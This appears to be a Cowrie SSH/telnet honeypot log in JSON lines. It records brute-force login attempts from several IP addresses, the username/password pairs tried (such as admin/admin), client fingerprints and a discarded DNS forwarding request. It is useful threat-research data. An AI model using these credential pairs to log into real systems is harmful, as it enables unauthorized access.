{"eventid":"cowrie.login.failed","username":"You","password":"may","message":"login attempt [You/may] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:50.503621Z","src_ip":"159.203.92.129","session":"f41305057012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:51.576836Z","src_ip":"159.203.92.129","session":"f41305057012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47699,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ca5fa0c255","protocol":"telnet","message":"New connection: 46.101.205.177:47699 (10.17.0.5:23) [session: 62ca5fa0c255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:54.415501Z"}
{"eventid":"cowrie.session.closed","duration":30.92351484298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:13.368961Z","src_ip":"46.101.205.177","session":"d49c9d9b6372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90409517288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:13.373878Z","src_ip":"46.101.205.177","session":"190972af87f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9268958568573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:13.377025Z","src_ip":"46.101.205.177","session":"69fceba36a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908668279647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:13.383133Z","src_ip":"46.101.205.177","session":"1d61cfa5d95b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948971271514893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:14.377406Z","src_ip":"46.101.205.177","session":"a21f1027469c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9489905834198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:14.382112Z","src_ip":"46.101.205.177","session":"a83328d2c9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37656,"dst_ip":"159.203.135.109","dst_port":22,"session":"8499f4bd512a","protocol":"ssh","message":"New connection: 31.59.89.180:37656 (159.203.135.109:22) [session: 8499f4bd512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:14.579393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:14.584597Z","src_ip":"31.59.89.180","session":"8499f4bd512a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:14.696275Z","src_ip":"31.59.89.180","session":"8499f4bd512a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asdlkj","message":"login attempt [postgres/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:15.173876Z","src_ip":"31.59.89.180","session":"8499f4bd512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:16.290448Z","src_ip":"31.59.89.180","session":"8499f4bd512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93898296356201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:25.354393Z","src_ip":"46.101.205.177","session":"62ca5fa0c255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45812,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2158aa3d106","protocol":"ssh","message":"New connection: 159.203.92.129:45812 (159.203.135.109:22) [session: b2158aa3d106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:33.111486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:33.116183Z","src_ip":"159.203.92.129","session":"b2158aa3d106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:33.124219Z","src_ip":"159.203.92.129","session":"b2158aa3d106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yuexf","password":"123","message":"login attempt [Yuexf/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:33.140591Z","src_ip":"159.203.92.129","session":"b2158aa3d106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:34.213973Z","src_ip":"159.203.92.129","session":"b2158aa3d106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64304,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff462c7f545d","protocol":"ssh","message":"New connection: 87.251.64.176:64304 (10.17.0.5:22) [session: ff462c7f545d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.228527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.234343Z","src_ip":"87.251.64.176","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.330854Z","src_ip":"87.251.64.176","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.620805Z","src_ip":"87.251.64.176","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":58126,"dst_ip":"159.203.135.109","dst_port":22,"session":"69fb65b0a93c","protocol":"ssh","message":"New connection: 31.59.89.180:58126 (159.203.135.109:22) [session: 69fb65b0a93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.687701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.692708Z","src_ip":"31.59.89.180","session":"69fb65b0a93c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.719923Z","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.804356Z","src_ip":"31.59.89.180","session":"69fb65b0a93c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.816180Z","src_ip":"87.251.64.176","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:58.915082Z","src_ip":"87.251.64.176","session":"ff462c7f545d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password!@#x","message":"login attempt [admin/Password!@#x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:47:59.285418Z","src_ip":"31.59.89.180","session":"69fb65b0a93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:00.400415Z","src_ip":"31.59.89.180","session":"69fb65b0a93c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":37622,"dst_ip":"159.203.135.109","dst_port":22,"session":"e02738a4b424","protocol":"ssh","message":"New connection: 173.249.6.197:37622 (159.203.135.109:22) [session: e02738a4b424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:00.853735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:00.858781Z","src_ip":"173.249.6.197","session":"e02738a4b424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:00.951483Z","src_ip":"173.249.6.197","session":"e02738a4b424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345678","message":"login attempt [minecraft/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:01.353137Z","src_ip":"173.249.6.197","session":"e02738a4b424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:02.449429Z","src_ip":"173.249.6.197","session":"e02738a4b424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":35130,"dst_ip":"10.17.0.5","dst_port":22,"session":"934625ad8a00","protocol":"ssh","message":"New connection: 185.216.119.134:35130 (10.17.0.5:22) [session: 934625ad8a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:02.684411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:02.701747Z","src_ip":"185.216.119.134","session":"934625ad8a00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:03.367330Z","src_ip":"185.216.119.134","session":"934625ad8a00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"abc123","message":"login attempt [minecraft/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:04.848119Z","src_ip":"185.216.119.134","session":"934625ad8a00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:06.075117Z","src_ip":"185.216.119.134","session":"934625ad8a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47928,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2666612baf","protocol":"ssh","message":"New connection: 159.203.92.129:47928 (159.203.135.109:22) [session: 9b2666612baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:16.213576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:16.217763Z","src_ip":"159.203.92.129","session":"9b2666612baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:48:16.225702Z","src_ip":"159.203.92.129","session":"9b2666612baf","protocol":"ssh"}
